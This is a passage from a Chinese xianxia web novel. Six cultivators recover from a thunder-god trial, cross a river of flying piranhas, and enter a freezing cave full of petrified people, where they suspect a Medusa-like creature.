石映心在大伙的好说歹说之中渐渐感受到自己的意识和身体回归了掌控,她慢慢地用灵识探查体内的情况,确实如大师兄所说,经脉动荡,身子虚弱。造成这样的原因大概和方才“照”嫘祖有关,但为何会变成这样……她不清楚。 想到不能给大家拖后腿,石映心主动接过屠芜手中的药丸咽了下去,还真是噎人啊,连忙拿过大师兄的手中的水喝了一大口。 见她吃了药,脸色也恢复了许多,明易这才问起方才在石窟中发生了何时。 “对啊师姐,”曾换月一脸委屈的担忧,“你忽然晕倒过去,我们还没反应过来呢,就有一道雷光闪得我们睁不开眼,再回过神来时就已经被送出来了,可你晕了整整一个时辰呢!” “我……”石映心目露茫然,“我本想看看嫘祖的问题,但她好像没问什么,只是说了一些我听不懂的话……接着我便觉得整个人晕晕乎乎,无知无觉中就晕过去了。” 屠莱皱眉道:“这么看,也许她是问了,你也答了,但是却不记得了?” 石映心摇摇头,又顿住点了下:“可能。” “那你答对了吗?”顾梦真上下左右地打量了师妹,有些遗憾道,“好像没答对,没看到什么奖励啊。” 奖励…… 石映心似有所感,伸手一转,在众目睽睽之下,她的手心上出现了一块…… “石头?”顾梦真用两根手指头夹起那块也就拇指大的石头,“瞧着……很普 通啊?这真是嫘祖给你的?” 石映心点点头:“是她给我的。” “哈哈。”曾换月皮笑肉不笑道,“话说啊……那三位说是雷神,其实也只是石雕模样来着,石雕带着石头宝贝……哈哈,听着很不违和呢。” 屠芜睁了睁眼:“什么意思,我们这是被坑了?” “显而易见。”屠莱冷笑一声,阴阳怪气道,“要小心拿好了,待会掉到地上混入一堆石头中可就找不到了。” 几人:…… 话说得难听但确实是需要担心的事。 明易看了看二师弟手中的那块石头,又看向师妹问:“映心,你确定这是嫘祖给你的奖励?” “是她给我的,上面有雷的气息。”石映心倒是没什么被坑了的不满,还挺平静道,“但是不是奖励就不知道了。” 明易微微颔首,朝二师弟道:“梦真,这石头你小心收好,带回门派再请师叔和师公看看。” “专业的事还得交给专业的人,”顾梦真将石头收好,“虽然我还没看出什么名堂,但要是连我和师叔师公也看不出来,其他人也别想了,哈哈!” 屠芜这时候正经发言道:“嫘祖不是会骗人的神,既然她说是稀世珍宝,那至少也是有些用处的宝贝,只不过是我们还未发现罢了。” “什么呀……”曾换月噘嘴道,“你俩还是不相信我们说的嫘祖是个虚拟神这件事吗?” 屠芜微微皱眉道:“我不知道该不该信,只是嫘祖石雕和丰隆石雕、金昆石雕一样,其中都有神力残留,不然方才和我们说话的是谁?” “这,”曾换月眼珠子一转,“谁知道是哪来的孤魂野神呢……” 确实是有这种可能,屠芜无法反驳。 没想到石映心却说:“不是孤魂野神,确实是雷神。” 屠莱挑眉看她:“你怎么知道?” “她身上和丰隆、金昆一样,都有雷的气息,而且……”石映心顿了顿,似乎在斟酌着措辞,“她们给我的感觉很像,很熟悉,总觉得……在哪里遇见过类似的神力。” 屠芜眼中亮了些希冀:“是在哪里?” “很久很久之前。” “那这么说……嫘祖也可能是真实存在的吗?” 石映心却迟疑地摇了摇头:“不清楚,只是我先前没见过嫘祖,但我分明觉得是在哪里感受过和她相像的神力……” 明易这时想到什么,在边上提醒道:“如果是按照我们去过的结境世界推测,难道是蚩尤那时候?” “啊,”曾换月一拍手,“不是说嫘祖是黄帝分化而来的?那她身上的雷力应也是出自黄帝……难道说,师姐感应到的其实是姬有熊的神力!?” 姬有熊…… 屠莱不解道:“可我要是黄帝,莫名被改了性别也就算了,还被一个杜撰的女人夺走了雷神的称号,气都要气活了,为何还要把自身的神力分到一个假神身上?” “哦,”曾换月扯起嘴角,“因为她善。” “嗯,”石映心若有所思,“她确实很正直善良。” 屠莱:“……你们说认真的?” “我想也是这么回事。”就连屠芜也被说服,“哥你想啊,螺族求风调雨顺求的都是嫘祖,可嫘祖若没有雷神之力如何庇佑我们?如果姬有熊是那么善良的神,不忍看凡人受苦,也许真的愿意分走神力去满足人类……造出一个假神来。不然怎么解释嫘祖石雕上有姬有熊神力一事呢?” 她说得很有道理,大伙听了都有些沉默。 最后还是顾梦真感叹了一句:“真是给你们赖上了一位好神哈。” 屠家兄妹:…… “那这块石头……”曾换月话止于此,给师姐使眼色,见师姐没什么反应,又给二师兄使眼色。 二师兄:“你眼睛抽筋了?” 曾换月:啧! “放心吧,”屠芜在边上笑道,“不管是嫘祖的石头还是谁的石头,都不会和你们抢的,这本就是映心应得的。” “咳咳。”曾换月也不觉尴尬,很满意地颔首道,“你俩很有觉悟。” 屠莱也是听笑了。 夜色之中,本就不需要睡觉的几位修仙人士又复盘了一下雷神石窟内发生的事情。 顾梦真回想之后有些不解道:“不过我还是没想明白,金昆她们怎么会给我们出那三个问题呢?总觉得有些……意有所指啊?”说罢还故意看了看某兄妹。 屠芜也不瞒着,承认道:“不知道是不是巧合,但她们的问题确实和我们螺族有关,仿佛……是在这等着我们。” 石映心抬眼看她:“等你们什么?” “就是……”屠芜摸摸下巴,“很难形容,只能说是一种冥冥之中的感应吧。其实我们螺族女子怪病的事一直很隐晦,长久以来没人能解决;可我总觉得它能得到解决,解决的办法八九不离十就在罗宝山石窟之中……所以我来了。” “那你呢,”石映心又看向屠莱,直言不讳道,“你是要问蛊修的事?” 屠莱有些意外地看向她,但这抹意外很快又被抚平,他也隐约意识到了这位道友不同寻常的本事,因此识趣地没问对方是怎么知道的,只是颔首道:“嗯,差不多。” 这兄妹二人真不容易啊。 顾梦真忽然有些沧桑地感叹道:“你们先前说罗宝山石窟有多危险可怖,我还不以为意,现在折腾这一通算是知道了!不过你俩居然敢来,还真是不怕死啊。其实在我看来,这怪病和蛊修的事也不是……怎么说呢,也不算是迫切要解决的难题,可进了石窟,一不小心就要死诶。” 屠莱耸肩,语气轻松道:“作死也就是脑子一热的事。” “你能别说不吉利的话不?”屠芜瞪他一眼,“我是觉得……既然总有人要解决这个难题,那么那个人为何不能是我呢?” “为什么是你呢?”石映心真心地、并无嘲讽地问:“你觉得自己很厉害吗?” 屠莱摇摇头……又点了点头道:“都说人外有人,山外有山;可我觉得这话是在问我……要不要做这个人,要不要进那座山。也许在我之后也会有更厉害的人来解决难题,在罗宝山之外还有更危险的地方藏着珍宝……但现在站在这里的是我,而我想这么做。” “说得真好听,”屠莱鼓了两下掌,“以后我也这么说。” 屠芜翻他白眼。 曾换月因此对屠芜有些另眼相看,对她来说,这种把“大使命”作为己任的行为会让她深感压力;她能顾好自己的事情、再顺便帮帮师姐师兄的忙,做到不拖后腿的地步就是万事大吉了;甚至有些个人的事情……她也不敢冒险。 有勇气的人都是让人敬佩的,她想。 “不过……”顾梦真目露思索,“你们螺族女人的怪病……和我们之前遇到的一个情况有些像欸……映心,你有没有觉得?” 第216章 石映心微微颔首:“二师兄你是说泉芷的事吗?” “是吧!”顾梦真见她有同感,略带激动道,“虽然一个说是怪病,一个说是诅咒,但感觉很像啊……” 屠莱:“你们在说什么?” 屠芜茫然道:“泉芷又是谁?” 曾换月绘声绘色地给二人解释了一通鲛人族的诅咒一事:“如此如此,这般这般!” “啊?”屠芜讶然道,“不生孩子就会死吗?这……好像比我们螺族的怪病还严重,我们只不过是会发病罢了,死倒是不至于……” “对啊,”曾换月揽住她肩膀拍了拍,半开玩笑大道,“这么一对比,是不是觉得有些安慰了?” 屠芜:“……倒也没有。” “所以,”屠莱问,“最后你们帮鲛人族找到了解决诅咒的办法了吗?” 在师兄妹忽然的闭嘴沉默之中,石映心非常坦然地点了点头 :“嗯。” “……什么办法?” 石映心:“灭族就好了。” 屠家兄妹:……等等,什么叫“就好了”?这里可以用这么轻松的说辞的情景吗? 而且!屠芜忽而想到什么,脸色不禁阴沉下来:“我怎么记得……之前你们也和我说去了哪里,似乎和我们螺族一样也是个少数人族……对,是叫三足乌族对吧?那个族最后也是……全死光了吧?” 归壹派四人:OO啊呀。 石映心颔首:“你记性真好,是有这么回事。” 屠芜:…… 屠莱沉吟片刻,倏然露出一个诡异的冷笑:“明白了,接下来轮到我们了。” 屠芜:………… 曾换月后知后觉地发现了不对劲,瞪眼吃惊道:“我去,怎么不知不觉中开了这么多全灭副本?” 明易在边上没啥说服力地安慰了一句:“换月是开玩笑的,这只是巧合罢了。” “对啊,”顾梦真也哈哈哈地打圆场,“要真是这样,那按照之前的规律,起码能保住你们两个人!” 合着他们还该感到庆幸是吗! 石映心也贴心的宽慰道:“别怕,该死的人迟早会死。” 屠家兄妹:……好了,不要说了呗。 话虽如此,但几人都不是悲观之人,倒也没有沉溺于前两个全灭副本的恐慌之中,只是屠芜不由得沉思起来:“如果……解决怪病的办法真的和鲛人族一般,只能消亡不能消除,那该怎么办呢?” 屠莱坐在她边上,拿着树枝往面前的火桶里放:“不是已经有珠玉在前了?” 顾梦真伸手把树枝又拿了出来:“喂!我都说了不需要添柴,这是靠灵力着火的宝器,你添灵力还差不多!” 屠莱:“哦。” 屠芜叹了口气:“究竟是珠玉在前还是前车之鉴……这谁说得准呢?” “你在怕什么?”屠莱侧眼看妹妹,“总不会真让我们杀了还活着的族人,顶多是炼制一种不孕不育的药,让螺族的血脉不再延续罢了,比鲛人族不生就要死的情况妥善多了。” 屠芜顿了顿,轻轻颔首道:“嗯,倒也是。” 火桶另一边,明易在帮师妹把脉。他探查地很仔细,因此需要很多时间,石映心就无聊地坐在边上发呆。 好不容易等大师兄检查完,石映心才松了口气,一边活动胳膊一边问:“大师兄,我没事吧?” 明易迟疑地摇了摇头:“没事。” 石映心瞅他的沉重脸色:“那你怎么一副有事的表情?” 明易叹了口气道:“你无缘无故晕过去,有些差错才是正常的;如今我来回检查却没发现古怪,反倒违背常理……就怕是以我的修为发现不了的病症。” “既然这样的话,那就别想了,反正也想不出什么,只是徒增烦恼。”这人居然这么乐观,“而且我现在感觉好多了,先前刚醒来的时候还没什么力气,我想明早就能好完全了。” 明易望着师妹轻松的神色,并不想让自己的忧心传染给她,于是也笑道:“你说的不错,现在没事就不多想了,等完成任务我们回了门派再说。” “好,大师兄我们也快休息吧,明早还要赶路。” “嗯。” 乌黑的夜空之下,六人各怀心思,一夜乱七八糟地眠。 隔日一早。 不管需不需要睡觉,一旦睡了,起床都是一件难事;更何况此时唤醒瞌睡虫的并不是美味的早晨,而是前路未卜的困境,实在是难受得很。 曾换月靠在师姐肩头打了个哈欠,左看看正在和屠莱重新讨论路线的大师兄,右看看趁着太阳出来后还未出发的空挡在四处找花草虫蛇的二师兄,无精打采地叹了口气。 没让她消极太久,几人很快就打算重新出发。 “经昨日雷神石窟事件,我和屠莱便猜想在原先规划的道路上必然会有未记录在地图上的危险存在,”明易正色道,“既然如此,不如从此处开始走最近的道路,尽量快速抵达终点,你们觉得如何?” 大伙都没意见。 于是二人便向她们介绍了接下来要过的两个石窟,一个是河中石窟,危险在水里的猛兽,地图上说有食人鱼啥的;在这之后便是一个未标明情况的石窟,但过了这个石窟后便是石破花所在之地。 明易:“如果一切顺利,今日之内便能到达。” 听完这一大堆,曾换月已经打起精神来了,振奋道:“一鼓作气!走走走,出发喽!” 出发出发。 有昨日躲避石窟在山上阴暗爬行的经验,今日她们爬得要快许多,很快就到达了河中石窟所在地。 这条河又宽又长,几乎将一整个山面截断;又因山势有高有低,低处的水流便非常湍急。既然是河中石窟了,肯定禁飞,几人都不用试,所以问题来了,要怎么过去呢? 顾梦真说没事没事,我有宝器在手。 于是大伙看着被摊在地上的那片绿油油的大叶子沉默了。 “这就是‘一叶扁舟’!”顾梦真嘿嘿得意道,“是不是做得很逼真,跟真的叶子一样?” 几人:…… “有没有一种可能……”曾换月深呼吸,吐气,“一叶扁舟的意思是像树叶一样轻小的船而不是真的把叶子当船用!” 顾梦真挠头:“啊,是这样吗?差不多啦。” “不管差多少,”屠莱感到一些心累,“重点是我们就这么站在这片叶子上过河吗?这可不是普通的小河。” “是啊顾道友,”屠芜期待地问,“你这一叶扁舟是不是还有隐藏的功能?” “当然有了!”顾梦真铿锵有力地应了一声,“它就像叶子一样,不管如何都不会沉下水去,只会漂浮在水面上,而且能顺着水的速度越行越快,就如同在水上御物飞行一般。” 曾换月:哦,冲浪板嘛。 石映心听着觉得有点意思:“只有一片吗二师兄?” 顾梦真大方地又变了五片叶子出来:“这玩意成本低,我当时做了好多呢!可惜我们山上没河也没海,销量不太好……” 曾换月踩到一片叶子上试了试,在她印象中冲浪也不是件容易的事:“喂,你这一叶扁舟不会难度很高吧?” 顾梦真想了想:“只要会御物飞行都很容易。” 于是几人先尝试着上水试了试,确实很轻松,和御物飞行的差别就在于脚上会溅到水。 出发前,屠莱又提议道:“有没有什么办法能将我们几人连在一起,以防之后被水流分散。” 顾梦真:“有啊有啊,我的连连绳!” 六人再绑上连连绳,这下心中安定了许多。她们的任务分配也很明确,两位剑修在前方开路杀敌,两位药修在后边准备救援,还有两位在中间保全自己不拖后腿。 一开始的河流还算平静,几人甚至还有些冲浪的新奇和快乐,这时候曾换月忽然意识到什么,左右看了看前方空空荡荡的河面,奇怪地问:“不是说这里有一个河中石窟,咋什么都没瞧见啊?” 她话音一落,眼前的河流忽然震荡起来,像是迫不及待地回应了她的呼唤:来喽~~ 下一瞬,就见水中咻咻咻地飞出许多棕黑的大嘴巴鱼,个个嘴巴有半个身子那么大,一张开就是捕兽夹似的尖牙,这大概就是食人鱼了吧……其实大伙早有心理准备,按理来说应该不太慌张的,但问题是…… 也没人说这鱼还长了翅膀会飞啊! “啊啊啊啊不公平!!”曾换月一边踩着一叶扁舟四处躲闪,一边拿着厚厚一叠符箓四处乱贴,“为什么它们没被禁飞!!” 顾梦真举着他的“反弹弹防御伞”咬着牙艰难地四处挡鱼,这会他开始后悔了,上次这伞在桃林塞中被蟾蜍给毒坏了,于是他又加了好几层防御,让本来就重的伞变得更重,先前又看映心使得好,他高估自己的体力了! 现在他这挥舞伞的速度都比不过食人鱼飞过来的攻速啊! “救命啊……”叫到一半,他瞅见了甩符箓甩出残影的小师妹,忽然灵光一闪,“换月你快过来,我俩站在一起一人挡一边!” 好办法。曾换月连忙往那边漂。 一起苟二人组互相取暖,乱杀二人组则在前方忙忙碌碌地杀食人鱼开路。 石映心的落雨飞花和明易的吹雪凝霜对付这些多目标的场合还是很合适的,就是要小心误伤—— 比如屠莱就差点被飞来的食人鱼尸体打了一巴掌,没错,正是被落雨飞花劈成一半后乱飞的食人鱼尸体。 你说这鱼都死了也没啥伤害性……但确实有点侮辱了! 还有明道友那剑招直接让食人鱼变冻鱼了,又因数量太多,结果跟天上下冰雹似的,砸到身上又痛又冷;他和屠芜站在二人的庇护范围内是不需要担心被食人鱼咬……但怎么还要防队友误伤啊! 总之这河过得是乱七八糟手忙脚乱一片狼藉。 但好在还是全须全尾地过了,没人被咬伤。可喜可贺,可喜可贺。 第217章 过完河,几人瘫坐在岸边澄净自身,调整状态。石映心还用帝血剑串了六条鱼上来,说是要烤着吃。 她二师兄有些不情不愿地拿出火桶来当烤架,眼神瞥了眼那六条丑陋的食人鱼,打了个寒颤道:“我的天哪映心,这么丑的鱼你都下得了嘴?你真是饿了?” 石映心拿着帝血剑比划着方便切鱼的角度:“是屠芜说能吃的。” “是能吃啊,”屠芜理所当然道,“食人鱼又没毒,只要把它的尖牙利嘴和小翅膀割掉,其他地方和普通鱼肉没什么差别。这等丑鱼在我们药神洲的食材中还排不上号。” 顾梦真:“……感觉你很自豪呢?” 屠芜:“有点吧。” “哎呀,这真是弱肉强食的世界啊,”曾换月笑嘻嘻道,“在河上的时候鱼赶着来吃我们,到了岸上就是我们吃鱼。嘿嘿,来都来了,那就尝尝呗。” 石映心手中的剑光一闪:“好。” 在屠家兄妹的指导下,两位剑修很麻溜地将食人鱼的大嘴巴和小翅膀都割掉了,又去除了里头的内脏,在河边洗干净后,用处理过的树枝串起来,最后往火桶上一放,就能等着…… “糟了!”顾梦真掏储物袋后遗憾道,“我怎么没带调料!” “我带了。”屠芜拿出了几个瓶瓶罐罐来,“调味的事就交给我吧。” 顾梦真“哦”了一声,蹲下来盯着火桶又小声悔恨道:“输了,这回真的输给药神谷了。” 明易:……到底有什么好比的。 撒上调料烤熟之后,原先看着平平无奇甚至有些难以下咽的鱼肉一下子变得秀色可餐起来,空中飘荡着香喷喷的肉味,勾得几人频频咽口水,如饿狼一般目不转睛地盯着那六条烤鱼。 等迫不及待地吃了,鼻尖的诱惑实实在在地变成了口中可咀嚼的美味,小小幸福就这么诞生在口腔之中。屠芜带来的调料是药神洲特色风味,酸甜辣咸的配比十分恰当,几人吃得又新奇又惊叹。 甚至产生了想再过河一次捉鱼的念头……开玩笑的啦。 美食抚慰人心,六人的心情也好了许多,收拾好餐余垃圾后就出发往下一个、也是预测中的最后一个石窟走。 一边走着,曾换月一边问:“为什么地图上画了这个石窟却没标注其中的情况?难道是站在门口看看就知道危险,所以没进去吗?” 屠莱呵呵道:“大概是进去的人都没出来,所以在外边等着人就无法记录。” 曾换月耸了下肩,故作轻松道:“这不就是百分百的死亡率,没有这么夸张吧……” “是那个石窟吗?”走得快一些顺便找草药的顾梦真忽然停住了脚步,伸手往前方一指,回头问道,“又是山洞型的,没别的路能绕过去了?” 明易道:“有别的路,但路上也有石窟,而且光是路程就要走大半天,再加上石窟结界……” “好好好不想了,”顾梦真听得头大,“进去吧进去吧!” 这个未知的山洞石窟和先前的狗神石窟有些相像,洞门高大,光却透不进里边的幽深昏暗。 几人走到洞门口,石映心慢慢地顿住脚步,左右看了看道:“你们有没有觉得……这附近的石头格外得多?” 她不说几人倒没特别的感觉,这一说……还是没什么特别的感觉。 屠莱还反问嘞:“这里是罗宝山石窟,石头多不是很正常的吗?” “是吗师姐?”曾换月左右看了看,挠挠脸道,“可我感觉和其他地方的也差不多呀?” 石映心盯着洞口边的几块大小不一致的石头瞅了会,眉心不自觉地微蹙:“是吗?为何我觉得这些石头分外地……有存在感?” 明易琢磨她的用词:“存在感?这是什么感觉?” 石映心微微摇头:“说不上来。” 顾梦真随手踢走一块石头,转头对师妹道:“踢起来也是普通石头的触感诶。” “你还要再感觉一会吗?”屠芜问道,“要不我们先进去看看?” 左右也没什么别的线索:“好。” 六人各自拿上辟邪灯进了洞中,不过这次的洞中没有溪流,空间就宽裕不少,不需要傻傻地走一排进去了。八月的天,如果说罗宝山中是凉快,那么此石窟中就是阴冷异常…… “喂喂,你这是不是太夸张了?”顾梦真看见屠莱很干脆地变出一件厚实的长袍披上,忍不住道,“也没这么冷……哈哈——哈秋!” 屠莱睨他一眼:“呵呵。” 顾梦真:…… 走在最前边的大师兄也停住了脚步,转过头来叮嘱她们换上厚衣服:“洞中寒气深重,很不寻常,要一切小心。” 几人乖乖换上厚衣衫,再用灵气护体保暖。 又往里头走了一些,确实更加冷了,而且这冷不是纯冷,是一种湿漉漉的,宛如水蛇在你身上游来游去的黏腻,就是穿再厚的衣服也抵不住它溜进去,十分难缠。 好在几人是有灵气护体的仙人,若是寻常人在此,怕是已经冻得浑身发抖了。 石映心这时候又提了一句:“石头好多。” 大伙便再次左右看了看,这会总算有所察觉,这洞中确实到处都是石头,而且不是那种路边的小碎石,最小的也有拳头大,大一些的有半个人那么大,冷不丁地出现在昏暗的视线中,被辟邪灯的烛光一照,影子倒在地上,乍一看还以为前边有个人呢—— “哎呀我去!”顾梦真又被吓了一跳,“这石头真吓人!这么大一个立在这……” “不只是吓人,”曾换月吐槽道,“长得也像人样,只看影子我还以为是人的尸体。” 屠莱的脸被冻得苍白,说话声也薄了些,还要搁那阴阳怪气的:“妖怪还没碰见,自己吓自己就吓掉半条命了。” 屠芜忍不住道:“你少说点话吧,别被冷得半条命都不剩了。” 屠莱:…… 继续往里头走着。石映心对明易道:“大师兄,这寒气和你的吹雪凝霜很像,应是某种灵力形成的。” “嗯,”明易自然也有所察觉,“若是凡人,走在这就会被冻死了。” 说到这,他转头叫二师弟把火桶拿出来,分别给屠家兄妹和小师妹抱着,能顺便给大伙一起驱寒。 顾梦真抖着身子:“好好好,我刚想这么做呢。” 屠莱抱着火桶,肉眼可见地感觉活过来了,原先冻得没什么表情的脸都舒展了一些,好声好气地和顾梦真道:“你这玩意不错,多少灵石?” 火桶的成本老低了,在顾梦真这就是个消耗品,不过这会实在太冷,他暂时没心思动脑筋想怎么坑屠莱一把,因此只是说:“哎呀,现在不是说这个的时候,出去再说。” 屠莱:“嗯。” 咕噜咕噜…… 咕咚咕咚…… 越往里走,石头越多,脚步声被 踩石头和踢石头的声音代替,无数细小的动静在死寂的山洞内不断回荡着窸窸窣窣的响声,像是虫的窃窃私语,听得人心烦躁。 咔嚓。 明易深呼一口气,实在有些不耐地低下头去,给了那些无处不在但谁都不想搭理的小石头一个眼神;这偶然的一看却让他一愣,诧异地停下了脚步,弯下腰去捡起了什么。 大伙在这样无聊又封闭的空间中走着,压抑着心情非常烦躁,难得见到谁有了新鲜动作,纷纷好奇地望去。 石映心凑过去看:“这是什么?” 就见明易的手掌心中有一些被踩碎的石头块,奇怪的是这些碎块上似乎粘连这什么……虫子的尸体? 屠芜认出来了:“蜚蠊。” 曾换月“咦惹”了一声:“大师兄你捡这个干嘛!” “我捡的是石头。”明易冷静道,“这只蜚蠊的尸体藏在石头之中。” “啊?”顾梦真有些迷惑,“这是怎么钻进去的?” “不是钻进去的。”石映心拿起明易手中的一小块碎石用指尖搓了搓,“这蜚蠊的尸体和石头长在一起了,就像人的皮肉一般。” 顾梦真这下更迷惑了:“啊??所以这到底是怎么做到的?” 曾换月只瞪大眼睛盯着看,不想像她师姐一样上手摸:“难道这是一只变异蜚蠊?” 屠莱在后边说:“没见过这种往自杀方向变异的。” 曾换月:“那你说怎么回事嘛。” 屠莱将火桶转到一只手上抱着,空出一只手来取了点碎石,让自己和屠芜一起打量。这二人是六人之中的专业人士,若是他们也瞧不出来……那就只能暂且不管这事。 就见他们琢磨了会,很默契地对了个眼神,然后屠芜就弯腰又捡了一块半个拳头大的石头,手指尖灵光一闪,就见石头慢慢地从最外层开始碎成粉末,碎了没到一半,里头又惊险了一个大虫子的尸体。 六人:OO? 等等,什么情况。 她们也不干等着了,随地捡了石头就开始如法炮制,结果六块石头里边就有三块里头有虫子尸体…… “原来是这样。”石映心扔到手中的碎石尸体,双手拍拍碎屑,“难怪我觉得这些石头……很有存在感。” 屠莱:“太奇怪了吧。” 石映心:“嗯,这些石头确实……” “这是你的什么技能?”屠莱幽幽地盯着她,“为什么你连这种事情都能感觉到?” 石映心不卑不亢道:“不是什么技能,只是我修为高强,六识灵敏罢了。” 曾换月一挺胸膛:“对啊,我师姐就是这么厉害!” 屠莱又看向明易:“那明道友为何没有察觉?” 石映心理所当然道:“因为我大师兄没有我厉害。” 明易也理所当然地点头:“嗯。” 第218章 这几人一唱一和的,显然是很有默契地在隐瞒某事。不过屠莱也没想打破砂锅问到底地探究别人的秘密,他只是真心地感到好奇,而且是好奇得不行了,毕竟一路走来,石映心的不寻常之处太多…… 罢了,现在也不是说这事的时候。 “再往里走走看吧,”实在搞不懂这些石头虫子尸体的成因,屠芜提议道,“总归答案就在这个石窟之中。” 大伙没意见,她们不可能看到古怪的难题就止步不前。 越往里走,除了越来越冷之外,空间居然越来越大了,光线也随之渐渐明亮了一些,但也仅是不用点灯就能视物的地步,就像太阳完全落山之后刚入夜时的幽冷夜色。 还有一点,路边的石头也越来越多,而且石头的体积越来越大,大点倒也没什么,只是为何……这么有人样啊? 大伙的心中很有默契地想到了那些石头里的虫子,隐约都有些大胆的猜测,但谁也没说。 只是进来前屠莱曾说过的话开始萦绕在几人的心头:【大概是进去的人都没出来,所以在外边等着人就无法记录。】 进去的人都没出来…… 不会……都变成了…… 六双灵活的眼睛悄然在附近的人形石头上转来转去,猝不及防地和那些木讷的石头眼睛对视上,心中不自觉升起一股毛骨悚然。这些石头已经占据了石窟内的大半空间,而且分布很不规矩,常常是很没眼力色地堵在路中央,要六人自己绕行。 越往里走,这些人形石头就越精细,最开始只有一个大小,变成能区分手脚和躯干,再变成能区分动作,最后甚至……连原先模糊的五官都异常清晰起来,还能瞅见他们的表情。 这种细致程度的雕工三位雷神石雕可以媲美了……当然,前提是这些石头真是人雕出来的。 “我有一个想法。” 一个转弯,前方又出现一大堆的人形石头,几乎将她们前行的路给全堵住了。石映心停住脚步,冷静地说了这六个字。 “我不敢想,我怕我的小心脏受不了。”顾梦真闭上眼睛,企图麻痹自己,“我们还是什么就这么无知又不管不顾地走下去吧!” 明易默了默,其实他也是映心的想法:“我觉得还是要看看。” 屠芜没意见:“我都行。” 屠莱冷得要死不想说话。 “师、师姐……”曾换月说话时的嘴唇有些颤抖,她拉拉师姐的衣袖道,“我支持你劈开,我……我也有个想法。” 石映心握住她的手,感受到她手上的冰冷:“好。” 说着把师妹的手放开,拔出帝血剑来一挥—— “喂喂等一下!”顾梦真瞅她那架势连忙紧急制止她,瞪着眼睛道,“你不是要从上往下劈成两半吧?别这样映心,你真要吓死二师兄啊?随便切一块下来看看就好了!” “……哦。” 石映心就随机选了一个幸运的人形石头切了它一个手指头下来,从断面就能看出石头分了层,里头那层是人的血肉和骨头,还有些新鲜呢。大伙见状都默了默,显然并不惊讶。 屠芜拿过来瞅了瞅,叹了口气道:“果真如此……不过没想到用这种办法保存尸体还挺方便的。” 石映心也点点头表示赞同:“又学到了。” 真是两个好学的好修士。 “所以这石窟里边到底有什么东西啊,居然能让人和虫子都变成石头的模样?”顾梦真摸着下巴目露思索,“难道是……石头怪?” “不~” 大伙听见一个颤抖的声音,转去一看,是浑身都在瑟瑟发抖的 曾换月,见她面色惨淡双唇苍白,也不知是被冻得还是怎么,连说话声儿都带着明显的颤抖。 “这~这难道是……传说中的蒙娜丽莎呸伊丽莎白呸古力娜扎呸——美杜莎同款技能!?” 五人:OO? 虽然听不懂但好像很厉害的样子。 屠莱脸色沉重:“名字这么长……看来有点东西。” “美杜莎,是美杜莎啊!”曾换月拉住师姐的手,因为太急切而显得语无伦次没头没尾的,“师姐你可千万不能照……额,不能看她眼睛!” 石映心见她这么慌张,迟疑地点了点头:“嗯,我尽量。” “不是尽量不尽量,是绝对不行!”曾换月提高了音量,声音在石窟中回荡着格外惊悚,“和她对视上你也会变成石头的!” 大伙皆是一愣。 “什、什么意思啊?”顾梦真还是一脸懵,“换月,你冷静点,好好说说这个美杜莎究竟是谁,变成石头又是怎么一回事?” “是啊,”屠芜拍拍她肩膀宽慰道,“别着急。” 曾换月能不着急吗,她小时候看那啥的希腊神话故事动画片,其中印象最深的就是美杜莎了,当即心跳澎湃起来,连她自己都搞不清楚是在兴奋还是害怕。当然,现在最重要的是冷静下来,给同伴们好好解释一通: “就是……这是我老家那边的一个故事,传说很久以前有一个女妖,她的头发是蛇的模样,她的眼睛有奇异的力量,但凡看见她眼睛的人都会变成……石头。” 说到这顿了顿,忽然想到什么,有些汗颜道:“不过故事里没说虫子看见她眼睛也会变成石头来着,算了不重要!总之那是个很可怕的女妖,就连和她被砍下来的头颅对视上都会变成石头!” “砍下来的头颅?”明易详细地问,“那么她算是死了吗?” “……额,故事中说是死了。” “和死去的头颅对视也会变成石头?这不对啊,那看起来不像是她自身的灵力……”顾梦真推测着,眼前猛地一亮,“我看是她的两只眼睛有古怪,指不定那不是普通的眼睛,而是什么稀世宝器!” 屠莱一开口就有白烟飘出来:“龙肝凤髓。” 吐了四个字又闭上,舌头应该也怕冷吧。 石映心沉吟片刻:“龙肝凤髓……好吃吗?” 屠莱:翻白眼。 “……我哥的意思是,”屠芜哭笑不得地解释道,“如果不是宝器,很可能是像龙肝凤髓一般出自这种罕见神兽的珍奇脏器。” “总之,”顾梦真语气中已经压着兴奋了,“是个好东西!” 曾换月:…… 这对吗? 她以为自己说的是恐怖故事而不是寻宝故事呢? “我觉得你们要不担心一下等会要怎么和美杜莎周旋呢?”她试图纠正某些人脸上贪婪的表情,“虽然我也不确定里头的怪物究竟是不是美杜莎,但……技能肯定是相似的,看这些石头人我就知道……” “糟了!”屠芜乍然一声,双眼失神,“我的灵蛇……” 对哦,她的灵蛇一直在前边探路来着。 明易关心道:“情况如何?” 屠芜张了张嘴:“没回应,但……还活着。” 曾换月起了鸡皮疙瘩:“是不是变成石头蛇了?” “它们确实动不了了。”方才还在畅想龙肝凤髓的屠修士总算有些着急了,“换月,变成石头之后还能活多久?” 曾换月:“不知道啊!动画片……额,故事里也没直说,但下场都是一个死。” 屠芜便有些伤心起来:“我养了许久的宝贝蛇……” “没事,”石映心稳妥道,“你应能感知到蛇的位置?看来那就是美杜莎的所在之处,我们快去救它也许还来得及。” 大概是因为童年阴影的力量格外强大,曾换月难得谨慎起来:“别啊别啊,我们想想策略先呗!” 好在还有她大师兄比较理智:“换月,那故事中可有说怎么战胜美杜莎的办法?” “有!” “是什么?” “额……”糟了,是什么来着?“好像是拿剑砍下了美杜莎的头颅?” 石剑修:“听起来很简单。” “但是不能看她!这样我们都不知道她怎么进攻……” 屠芜:“你的意思是,我们需要闭上眼睛和她周旋?” “对啊对啊。” 顾梦真:“如果仅是分出眼力灵识来看她呢?” “不建议尝试。” 镜灵:“如果是通过镜子看她的动静呢?” 曾换月猛地一顿,脑子里好像有什么划过:“对哦,故事里那个叫啥不知道的男主角好像是这么做的……但我不知道里头那个怪物可不可行哈。” “欸!”顾梦真灵光一闪,“要不先用我的呆头呆脑小木人试试?” 曾换月一拍手:“好主意!” 迟早要会会这个“美杜莎”,踌躇不前是没用的。前方的路非常拥挤,她们一边小心挪开那些石头人开路,一边警惕地往前走,不过这次是由呆头呆脑小木人在前边探路。 奇怪的是一路走来都很安静,按理来说,如果里头藏着一个那么可怖的怪物,怎么会没动静呢? “也许是和雷神石雕类似的怪物石雕,”明易推测,“需要有人来唤醒。” 大伙觉得有道理。 疑似唤醒雷神石雕的石映心:……啊。 好在这次不用她照了,就见前方出现一个转角,密密麻麻地堵着一堆石头人,呆头呆脑小木人费劲地开着路,结果刚迈出拐角一步…… 